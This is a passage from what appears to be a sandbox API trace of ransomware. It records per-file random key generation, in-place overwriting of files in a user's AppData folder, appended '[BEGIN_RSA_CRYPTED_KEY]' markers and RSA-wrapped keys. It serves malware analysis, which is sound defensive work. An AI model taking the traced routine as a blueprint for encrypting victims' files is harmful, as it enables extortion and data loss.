pcchString=0x2e3f9a8) returned 1 [0211.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e910, pcchString=0x2e3f9a8 | out: pszString="Dip1MB9yUly9vtBZEmZtuSABp0PH0jHIwpFPcA1+UpBcAZa9hE9Z7f5mrz+/lbC1\n/ddqWUOZKhAB34lzpcLux51LA+tZpGrnLK/PnH1ZQvOhCN7YymvI90P2fO1+sTpF\nvy7AsXHF7L/3XELd8aJJJgqHDbhC7LGfTus5cETWCxYyZyKTJRMh1qrL6zm+JNGv\n3pr26U+1PRy7MyPq8w5mTWpiTBMLhcZGS9cjS1RPtt5ra1zhfkh035lT/mI1H4Ij\nYlsQomfhzHI3sa3W2i5WiYq8q0V9dD1UihGRFsjo4cWw9yMxq8gCaQUcAlLjczoX\njBYB980SeHDUHKxxRpgpjA==\n", pcchString=0x2e3f9a8) returned 1 [0211.821] WriteFile (in: hFile=0x1830, lpBuffer=0x313e910*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e910*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.931] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.931] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.932] CloseHandle (hObject=0x1830) returned 1 [0211.933] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.933] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\8e881659-f010-401e-947f-d21800cd0388.up_meta", dwFileAttributes=0x80) returned 1 [0211.934] ReadFile (in: hFile=0x1830, lpBuffer=0x661f90, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661f90*, lpNumberOfBytesRead=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.935] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.935] WriteFile (in: hFile=0x1830, lpBuffer=0x662c40*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662c40*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.936] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda [0211.936] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.936] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.936] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.936] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.937] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.937] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e910, pcchString=0x2e3f9a8 | out: pszString="Vu4dvcLS7EIHMkhWlemyF2aOT4GL7gvKs9J7Rbwag5EUf4apy3OurN/nDbFaRQ9T\nQ1zxr4Q6En7Qog+bIBfa0kfv2kPIr5daLQb1tUPdxxzj0mdBACWm4i17mk8cbl/Z\nUes8v3KilqAmek7bC6m9HN5SmzT4foqGAbjbKp1XsGKwCpdtpj3Hw4yKUZW2mfZb\nKy9LSj7/JtxWEnKFy5UNNWh7sZUwD62LnjkqbsBzAafHn8nPxwW5+yyaZepNRQ8T\nwRnR87FpRx/KK8CqOTtAvLHhB2Ksuuyq1MX0Yeb3ViHVG6eP//Wa2s7gUmnS44ui\nDp3nB3RPTzBg7Rpn609gEg==\n", pcchString=0x2e3f9a8) returned 1 [0211.937] WriteFile (in: hFile=0x1830, lpBuffer=0x313e910*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e910*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.938] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.938] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.938] CloseHandle (hObject=0x1830) returned 1 [0211.940] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.940] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\8e881659-f010-401e-947f-d21800cd0388.4006bee6-d249-464c-ab34-c05dbe287355.down_meta", dwFileAttributes=0x80) returned 1 [0211.941] ReadFile (in: hFile=0x1830, lpBuffer=0x313e830, nNumberOfBytesToRead=0x5c2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e830*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c2, lpOverlapped=0x0) returned 1 [0211.951] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1474, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.951] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, nNumberOfBytesToWrite=0x5c2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c2, lpOverlapped=0x0) returned 1 [0211.952] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c2 [0211.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.952] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.953] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.953] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.953] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.953] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e830, pcchString=0x2e3f9a8 | out: pszString="WxztJGU3FdZ34F2aMFGGKjSOWvKE1tZ5sKbmpnPCqFyuwZo5Y7cPTYP6eJnYbL7o\n7ygafoWnuIT79v7+VBsxso9ij3lo+aompnY3ZR/SypMctIXbClSyMiH5hL3T6Pp6\nzDiupL5/NtWu9vW27SMZKwpTWyiW8QF3NuYYu0GOanqy/OLniAvkixJor7FduGha\nFJkSuSi/mRH8KDzLwCkFzjsim+/ISTpy0vkvjOXnz6rLbBboS/Udk9ZkIZEt62Nz\nvG0cpSk2Euj8KKOeoyV+9q+yojEa/DuOQxwXzDuzrP8FNSgd2+wKlurdP2iewrIj\nmnXtBK1L1V38/VYZj2P5NQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.953] WriteFile (in: hFile=0x1830, lpBuffer=0x313e830*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e830*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.954] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.954] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.954] CloseHandle (hObject=0x1830) returned 1 [0211.956] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.956] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\67ab33ac-a778-4769-a5cb-4f2db5833ff0.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.956] ReadFile (in: hFile=0x1830, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.957] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.957] WriteFile (in: hFile=0x1830, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.957] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.957] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.957] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.958] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.958] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.959] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.959] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e610, pcchString=0x2e3f9a8 | out: pszString="yWhIUaMQr2PpF/nnw2m4bnYDPALHivHZetCuWX0AxOiBtvNxcnyd6/WvbLyjyOMv\nH+oW+DSKz5fqsjCOj9ew/QQsUk210UEVoMPSGdVZsoK5b0BQZeiEHLEeKiFyo+BS\nljwHmlASOTWI2HjYUukluKl0TqO5RIQjg6JAqKwZk/pegO6hAjyPMjM7FX2ksRzM\ntfPiHTqLSy7WiZqHK/kKOBvXYZTo4n2TIIFhKwLi8zDyIbbXZCp/JuT7S+GKKmMo\naFtm4fCxg3OhdCXLovfCN6A7ihPi2UfmLS3yQ8e/vzcD3joG/eR1iba0H8EWz6tH\nW0UYHeHl+t9f9GAhePJzsQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.959] WriteFile (in: hFile=0x1830, lpBuffer=0x313e610*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e610*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.959] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.959] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.960] CloseHandle (hObject=0x1830) returned 1 [0211.964] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.964] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\668e384d-ae80-493f-a269-da43a2cf83ed.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.965] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.965] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.965] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.965] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.965] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.965] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.967] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.967] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.967] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.967] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e4b8, pcchString=0x2e3f9a8 | out: pszString="fjrjZ74bbHHIdFxo95o1oVHLCu7MfnXEDOrMPbYnWAYZ/2ycTZ+Mxfo3ixXbGCIP\nRcjMkclUktqUyDa56fkSHCjJiOnctHKuRET9CnKmyCg9BMX33KjqDXFgEjXWTk0O\nRqZz+vZlMr6Puz9lDyJj0t6/dUyMY84opZsE/Sr70P6lBEKCi+h7Xv8rJDb74GPA\ntRRZ4/BuyO2pSt+Ql3zkY+A3z50IW5qU61ni3ju1u0SSkKoUZfy7flw0Kx7rn8xi\nG4ngzLS0ZbFD5ghHfRjehWvOsEEmyMeqiPdH4yOKxgsJiqmS30quw9zEN/sol88D\nOR62JRE4H6WEuuYjgAxIIQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.967] WriteFile (in: hFile=0x1830, lpBuffer=0x313e4b8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e4b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.968] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.968] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.968] CloseHandle (hObject=0x1830) returned 1 [0211.970] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.970] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\668e384d-ae80-493f-a269-da43a2cf83ed.up_meta", dwFileAttributes=0x80) returned 1 [0211.971] ReadFile (in: hFile=0x1830, lpBuffer=0x662c40, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662c40*, lpNumberOfBytesRead=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.972] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.972] WriteFile (in: hFile=0x1830, lpBuffer=0x661f90*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661f90*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.973] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda [0211.973] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.973] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.973] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.973] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.974] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.974] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e360, pcchString=0x2e3f9a8 | out: pszString="hKWMbVTbrOSlCLrF9k5AbWQSqzfqq9zVwUT2DmvgOISwZtBC5QWxLv2gwvi1z9mC\n7cYzPN+c7IJeS+O9RfxlvMLl7Ybp57WPdEvg3bLuDFW3TdDjH/aPmp8YK6oVaAWd\njF7k4GSd8egcY8XahJQZ++TpPL5AKxDPdE9QAQX2NHnEcnznr7jst4EQ8iZOWb4l\nmoX8jxzdysqrW5HiaKgBBkyc3BcHrfEsXTgFjLyb7Pv1Jm5p7/ZIRdP6h1gqrYAh\nSegS5++ceTIjwC8buCSfbVNS07vg07+z2z9LpEyflRbwl5eDjIsRmKJdlNiLWwtJ\n5ZUv23Lxyf5kf6odvpfuaQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.974] WriteFile (in: hFile=0x1830, lpBuffer=0x313e360*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e360*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.975] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.975] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.975] CloseHandle (hObject=0x1830) returned 1 [0211.977] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.977] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\668e384d-ae80-493f-a269-da43a2cf83ed.f1206db6-0d02-4b94-94ca-d7bc4c57a4f2.down_meta", dwFileAttributes=0x80) returned 1 [0211.978] ReadFile (in: hFile=0x1830, lpBuffer=0x313e280, nNumberOfBytesToRead=0x5c6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e280*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c6, lpOverlapped=0x0) returned 1 [0211.999] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.999] WriteFile (in: hFile=0x1830, lpBuffer=0x313e850*, nNumberOfBytesToWrite=0x5c6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c6, lpOverlapped=0x0) returned 1 [0212.000] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c6 [0212.000] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.000] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.000] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e280, pcchString=0x2e3f9a8 | out: pszString="dhdf9QmpFQpRvZrW7BBUD9Gir0sJcAYDotTexDth75RsO+7jqHzARGCk3BbvfquB\nK5HcmSp4Z1eymdsIb/Hr/gnpcOeqC1BTuLfCtRXdXOTkyLcE4TGR5XMg86dz5D1A\nDmDHAo5TaDHlw0wt3df0++pWzByoKNgLMuA8vFAdmUjK+QHWop9MxLmnAd/225BA\nh6ck6fh4cZNhL6N2NDsqHQhheAwu7McZQbc8rGMxRjpIURJYxfg5fLWUbJhAaZ5b\nTlt3XEvqbVMa83GzWRvOyOJkWQiMiSkbs62M23CUOJ4nwMtlCMGiOkn0cjwQIBGK\ncsKf1S11JUYJvmPIJXYFSw==\n", pcchString=0x2e3f9a8) returned 1 [0212.001] WriteFile (in: hFile=0x1830, lpBuffer=0x313e280*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e280*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.001] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.001] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.002] CloseHandle (hObject=0x1830) returned 1 [0212.004] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.004] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\54827e92-1c6c-4ea8-bb11-3b3464cf22fc.up_meta_body", dwFileAttributes=0x80) returned 1 [0212.004] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.004] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.004] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.004] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.004] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.004] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.006] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.006] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, 